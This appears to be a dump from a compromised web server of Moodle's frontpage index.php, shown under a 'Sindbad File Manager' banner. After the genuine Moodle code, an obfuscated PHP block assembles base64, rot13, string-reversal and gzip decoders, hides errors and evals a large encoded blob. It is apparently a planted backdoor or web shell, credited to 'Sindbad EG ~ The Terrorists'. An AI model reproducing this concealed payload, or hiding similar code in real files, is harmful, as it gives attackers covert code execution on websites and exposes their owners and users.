Sindbad~EG File Manager
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Moodle frontpage.
*
* @package core
* @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
if (!file_exists('./config.php')) {
header('Location: install.php');
die;
}
require_once('config.php');
require_once($CFG->dirroot .'/course/lib.php');
require_once($CFG->libdir .'/filelib.php');
redirect_if_major_upgrade_required();
$urlparams = array();
if (!empty($CFG->defaulthomepage) &&
($CFG->defaulthomepage == HOMEPAGE_MY || $CFG->defaulthomepage == HOMEPAGE_MYCOURSES) &&
optional_param('redirect', 1, PARAM_BOOL) === 0
) {
$urlparams['redirect'] = 0;
}
$PAGE->set_url('/', $urlparams);
$PAGE->set_pagelayout('frontpage');
$PAGE->add_body_class('limitedwidth');
$PAGE->set_other_editing_capability('moodle/course:update');
$PAGE->set_other_editing_capability('moodle/course:manageactivities');
$PAGE->set_other_editing_capability('moodle/course:activityvisibility');
// Prevent caching of this page to stop confusion when changing page after making AJAX changes.
$PAGE->set_cacheable(false);
require_course_login($SITE);
$hasmaintenanceaccess = has_capability('moodle/site:maintenanceaccess', context_system::instance());
// If the site is currently under maintenance, then print a message.
if (!empty($CFG->maintenance_enabled) and !$hasmaintenanceaccess) {
print_maintenance_message();
}
$hassiteconfig = has_capability('moodle/site:config', context_system::instance());
if ($hassiteconfig && moodle_needs_upgrading()) {
redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php');
}
// If site registration needs updating, redirect.
\core\hub\registration::registration_reminder('/index.php');
if (get_home_page() != HOMEPAGE_SITE) {
// Redirect logged-in users to My Moodle overview if required.
$redirect = optional_param('redirect', 1, PARAM_BOOL);
if (optional_param('setdefaulthome', false, PARAM_BOOL)) {
set_user_preference('user_home_page_preference', HOMEPAGE_SITE);
} else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_MY) && $redirect === 1) {
// At this point, dashboard is enabled so we don't need to check for it (otherwise, get_home_page() won't return it).
redirect($CFG->wwwroot .'/my/');
} else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_MYCOURSES) && $redirect === 1) {
redirect($CFG->wwwroot .'/my/courses.php');
} else if (!empty($CFG->defaulthomepage) && ($CFG->defaulthomepage == HOMEPAGE_USER)) {
$frontpagenode = $PAGE->settingsnav->find('frontpage', null);
if ($frontpagenode) {
$frontpagenode->add(
get_string('makethismyhome'),
new moodle_url('/', array('setdefaulthome' => true)),
navigation_node::TYPE_SETTING);
} else {
$frontpagenode = $PAGE->settingsnav->add(get_string('frontpagesettings'), null, navigation_node::TYPE_SETTING, null);
$frontpagenode->force_open();
$frontpagenode->add(get_string('makethismyhome'),
new moodle_url('/', array('setdefaulthome' => true)),
navigation_node::TYPE_SETTING);
}
}
}
// Trigger event.
course_view(context_course::instance(SITEID));
$PAGE->set_pagetype('site-index');
$PAGE->set_docs_path('');
$editing = $PAGE->user_is_editing();
$PAGE->set_title(get_string('home'));
$PAGE->set_heading($SITE->fullname);
$PAGE->set_secondary_active_tab('coursehome');
$courserenderer = $PAGE->get_renderer('core', 'course');
if ($hassiteconfig) {
$editurl = new moodle_url('/course/view.php', ['id' => SITEID, 'sesskey' => sesskey()]);
$editbutton = $OUTPUT->edit_button($editurl);
$PAGE->set_button($editbutton);
}
echo $OUTPUT->header();
$siteformatoptions = course_get_format($SITE)->get_format_options();
$modinfo = get_fast_modinfo($SITE);
$modnamesused = $modinfo->get_used_module_names();
// Print Section or custom info.
if (!empty($CFG->customfrontpageinclude)) {
// Pre-fill some variables that custom front page might use.
$modnames = get_module_types_names();
$modnamesplural = get_module_types_names(true);
$mods = $modinfo->get_cms();
include($CFG->customfrontpageinclude);
} else if ($siteformatoptions['numsections'] > 0) {
echo $courserenderer->frontpage_section1();
}
// Include course AJAX.
include_course_ajax($SITE, $modnamesused);
echo $courserenderer->frontpage();
if ($editing && has_capability('moodle/course:create', context_system::instance())) {
echo $courserenderer->add_new_course_button();
}
echo $OUTPUT->footer();
ob_start();
?>
<?php $bdUWq = 'bas'.'e64'.'_'.'decode'; $prxQi = 's'.'tr'.'_'.'rot1'.'3'; $nZuVG = 'strr'.'ev'; $Tpjns = 'gzu'.'ncompress'; error_reporting(0); eval($Tpjns($nZuVG($prxQi($bdUWq('CRLwVQ//jsR2TN2Ps2Hq1epxvyouOS/xm+L8K1xU7Yy08yXPPC8g6UYP8gOcGWRjdO3vt+7PYZ/vyHsjL+1ksPg+xIdAOx+974JcAXDuFxRrtXN/giur3Y2Mfk5/LO8TgYxup47a5Wkx+ujoR3nEXnxBYMIi/ie4N0mUTZPds+HfCIWKTBRYk59DmAHAv1+BqUEOSURTE8XMlAWh/6q144+Ar3/trNNBEIgiZjJaJ5VHxLIiU25iyxmhrsz5DLdfCLIWLdcsID8Pjx07Pi63kFXkhah+cAjU4+F1oxhyyZZKUTuLZ4OrJ77DVSq7mqj39tyQJ3h/qw6H+cxC+vV9ZgcBfYKt9IZrE1exSJX+B6rIKzNdeMG/WYgNSxRZRxWm6XDTyhv/5u+FL5nLaLeOaRmdRH+nnRDOSWKglqkwbaFxImGwd0GqushXipcw1XKy6LZqbNvNVsh55Lr70LNbMTM/ac3ycRR+by0fJ/j1oxVGNDHkfKeKE1bn4cQQPmeUnAEqNJ/Zc8sKvX6BTKCu1ypHtVelT9j5qNhChR6P9E6UyIhuo+mESBHx3OfOYJp2unyYuRyyLm3ja6lVeHqUKs5DoE++5FDzhiLPxxI5F6Yz+719KBUUzw79opTuJfQxU5PYKAO0R7KUZo4JIDVukNJLIA1lCayd/XFjHO8KQtLxcafrJR5iKYWzwRbqBhAbeAigskUVaMZAmx4nwpR6L8/Pm8NlB3YbBilUGfNNAbdJNBbMRr5LpIijRpTBIwrwj2nxQQD3KKa0PylmOM8yDeedyu+Uua+Ywrjn3a323bQ0dx58Cn62OIztve688d2+/TjtjTvQzmqwM4i52Bt83u3bB+N7Dh2FPiCN4f3bZt9hU/bXTwnVwRfp117aZ+e18569ON0E39dvBFu2z+3Z3MTeiSBSH8xiAzntyM6CKzYcbiRzKdbM1qpxOMOPahADxnMid4Sq1sJs4qADDNAFbHLgOUdL+IgKeqR1LC1HsxwzEiMbMUIZLHAwb1VLjFKCOClQ3k9FsdwjePRT/h8yyMKwarMYUl2j2tTIrhh+u6N3l+0HfTCMMOdWIolzQkDf/bNdWy2/3Wr42snrmRHVIcxdPROePhkeeXM0uWXGpBPG/iKBFKG66KqwiCL5lkUE+BWLUZjJCgmtJaqeMLKEJxTHT0WYBjxry83m8zOKEipPLSwoHGl+/9scCnCc4hdRDjjIu7atXQh5JR0W03CJ7YWQr5QmiclXxGEr/RA44mINSKWcaw=='))))); ?>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists